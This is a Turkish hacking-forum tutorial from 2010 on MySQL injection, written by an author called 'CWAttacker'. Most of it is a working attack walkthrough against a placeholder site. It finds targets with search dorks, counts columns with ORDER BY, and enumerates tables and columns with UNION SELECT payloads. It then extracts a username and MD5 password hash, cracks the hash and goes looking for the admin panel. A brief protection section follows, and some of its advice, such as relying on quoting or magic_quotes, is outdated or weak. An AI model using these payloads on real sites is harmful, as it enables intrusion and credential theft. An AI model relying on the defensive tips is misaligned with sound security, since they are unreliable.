Root > Documents > Web Güvenlik Açıkları > MYSQL Injection ve Korunma.
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > MYSQL Injection ve Korunma.
Madde
  Yazar : CWAttacker
  Date : 21.08.2010 19:36:43
 
# MYSQL Injection ve Korunma.
 

MYSQL Nedir :
   
  Mysql su anda internetteki en popüler açik kaynak kodlu veritabani yazilimidir. Tüm verileri tek bir ambara yigmak yerine farkli tablolarda ve veritabanlarinda düzenli bir biçimde saklamaya yarayan depolama alanidir.

MYSQL Injection Nedir ve Önlemleri Nelerdir ?

 

Injectiona baslangiç :

Öncelikle site açigi bulabilmek için google veya benzeri bir arama motorundan çesitli parametreler girerek istedigimiz gibi bir site buluyoruz.

 

Siteleri bulmamiz için dork’a ihtiyaç lazim.Ve internette dork mevcut.

 

Örnegin : SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5/SPAN

Hedef sitede açik olmasini anlama için  ;

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5’a/SPAN yada ‘’ yada ‘ yada ‘--
eklentileri koyulur.

  Eger site bu hatayi verirse ;

Warning
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/galeripag1/domains/galeripago.com/public_html/urunler.php on line 21
 

Yada ;

 

You have an error in SQL syntax; check the manual that corresponds to your MySQL server version fort he right syntax to use near ‘\\’’ at line 1

 

 --Hatamizi aldiktan sonra kolon sayilarini bulacagiz bunu yapmak içinde ;

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5+order+by+10/SPAN

 

Eger sitede 10’da sayfa geliyorsa yani hatasiz sayfa demek ki 10’dan yüksek kolon sayisi vardir.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5+order+by+15/SPAN

Örnegin kolon sayisina 15 dedik ve su hatayi aldik : Unknown column ‘15’ in ‘order clause’

--Bu demek oluyor ki kolon sayimiz 14 ‘tür.

>Bundan sonra ise union+select çekecegiz ve siteye sayfalar yansiyacak.

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/SPAN

 

Bunu yaptiktan sonra sayfaya kolonlar yansiyacaktir. O kolonlarda islemimize devam edecegiz.Örnegin söyle ;

 

5

6

 

Bundan sonra ise version bulacagiz.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ff www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,version,6,7,8,9,10,11,12,13,14/SPAN

 

Böyle yaptiktan sonra version sayfaya yansiyacak. Örnegin ;

Bu siteye her seyi yapabiliriz.V5 oldugu için.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+limit+1,1/SPAN

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+limit+2,1/SPAN

Bu artarak gider ve tablo adlarini tek tek buluruz. Ama V5 deki özellikle tek tek tablo yansitmamiza gerek yok tek seferde bütün tablolari yansitabiliriz.

Nasil mi? ;

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,group_concattable_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables/SPAN


User

;id ve pass lar burada tutuluyor olmali.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=’user/SPAN

 

Evet bunu yaptigimizda hata aldik ;

 

You have an error in SQL syntax; check the manual that corresponds to your MySQL server version fort he right syntax to use near ‘\\’’ at line 1

User’i hexliyelim.

 

--Coder adli programla user’i hexledik ve sonuç ortada.

 

Basina 0x sonuç = 0x75736572

 

Yani ;

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=0x75736572/SPAN


Evet, sonuç bu simdi ise sunlari ekleyelim.

 

Ekleyecegimiz : +limit+1+ofset+1

 

color=#0000ffSPAN style=TEXT-DECORATIon: none; text-underline: none">www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=0x75736572/SPANSPAN style=TEXT-DECORATIon: none; mso-bidi-font-family: Times New Roman ; text-underline: none">+limit+1+offset+1/SPAN

 

Gelen sonuç:

Simdi ise sitenin sonundaki 1 i 2 yapicagiz.

color=#0000ffSPAN style=TEXT-DECORATIon: none; text-underline: none">www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=0x75736572/SPANSPAN style=TEXT-DECORATIon: none; mso-bidi-font-family: Times New Roman ; text-underline: none">+limit+1+offset+2/SPAN

 

Gelen sonuç;


Sitenin sonundaki 2 yi simdi 3 yapacagiz.

color=#0000ffSPAN style=TEXT-DECORATIon: none; text-underline: none">www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=0x75736572/SPANSPAN style=TEXT-DECORATIon: none; mso-bidi-font-family: Times New Roman ; text-underline: none">+limit+1+offset+3/SPAN

Site sonundaki 3 ü simdi ise 4 yapalim.

 

color=#0000ffSPAN style=TEXT-DECORATIon: none; text-underline: none">www.hedefsite.com/article.php?id=5+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_name=0x75736572/SPANSPAN style=TEXT-DECORATIon: none; mso-bidi-font-family: Times New Roman ; text-underline: none">+limit+1+offset+4/SPAN

Evet bize gerekenleri çektik de denebilir.Hatirlayalim arkadaslar +offset+1 ‘de user_name vardi.Simdide user_pass çektik simdi deneyelim.

 

Simdi user_name neymis ona bakalim.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,user_name ,6,7,8,9,10,11,12,13,14+from+user/SPAN

Gördügünüz gibi username shoaib.

 

Simdi ise user_pass çekecegiz.

 

SPAN style=TEXT-DECORATIon: none; text-underline: none"> color=#0000ffwww.hedefsite.com/article.php?id=5+union+select+1,2,3,4,user_pass ,6,7,8,9,10,11,12,13,14+from+user/SPAN

Md5 verdi. Bunu kirdigimizda sifreyi elde edecegiz.

 

Md5 kirma sitesi vereyim size : http://www.md5.gen.tr

Kiralim ve bakalim sonuç neymis.

Ve sonuç 123456 :)

 

Bundan sonra yapacagimiz ise admin panelini bulmak.

 

Peki, admin panelleri ne olabilir.

 

Admin-admins-administrator-user-users- vb bu böyle gider. Evet, arkadaslar dokümanimizin sonuna geldik.

 

>>>> Selametle <<<<


 

-Korunma-

Kodlamalarinizi yaparken mysql_query() ile kullandiginiz sorgularinizda GET yada POST ile çektiginiz verileri ’ ile kontrol edin...

select * from haber where id = $_GET[’id’];

böyle bir sorguda çok rahat sql injection yiyebilirsiniz..

?id=-11 union select all 0/*

ama kullanicidan gelen verileri ’ içerisinde yazarsaniz sql injection yemez..

select * from haber where id = ’$_GET[id]’;

?id=-11 union select all 0/*

bu kod islemez.

$id=(int)$_GET[’id’];
select * from haber where id = ’$id’;

yada yukarida yazdigim gibi id degiskenini integer olarak tanimlarsanizda sql ataklarindan sisteminizi koruyabilirsiniz...

Serverda magic_quotes’in açik olmasina dikkat edin..

>>> CWAttacker <<<

 


 

 

 

 

 


 

 

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©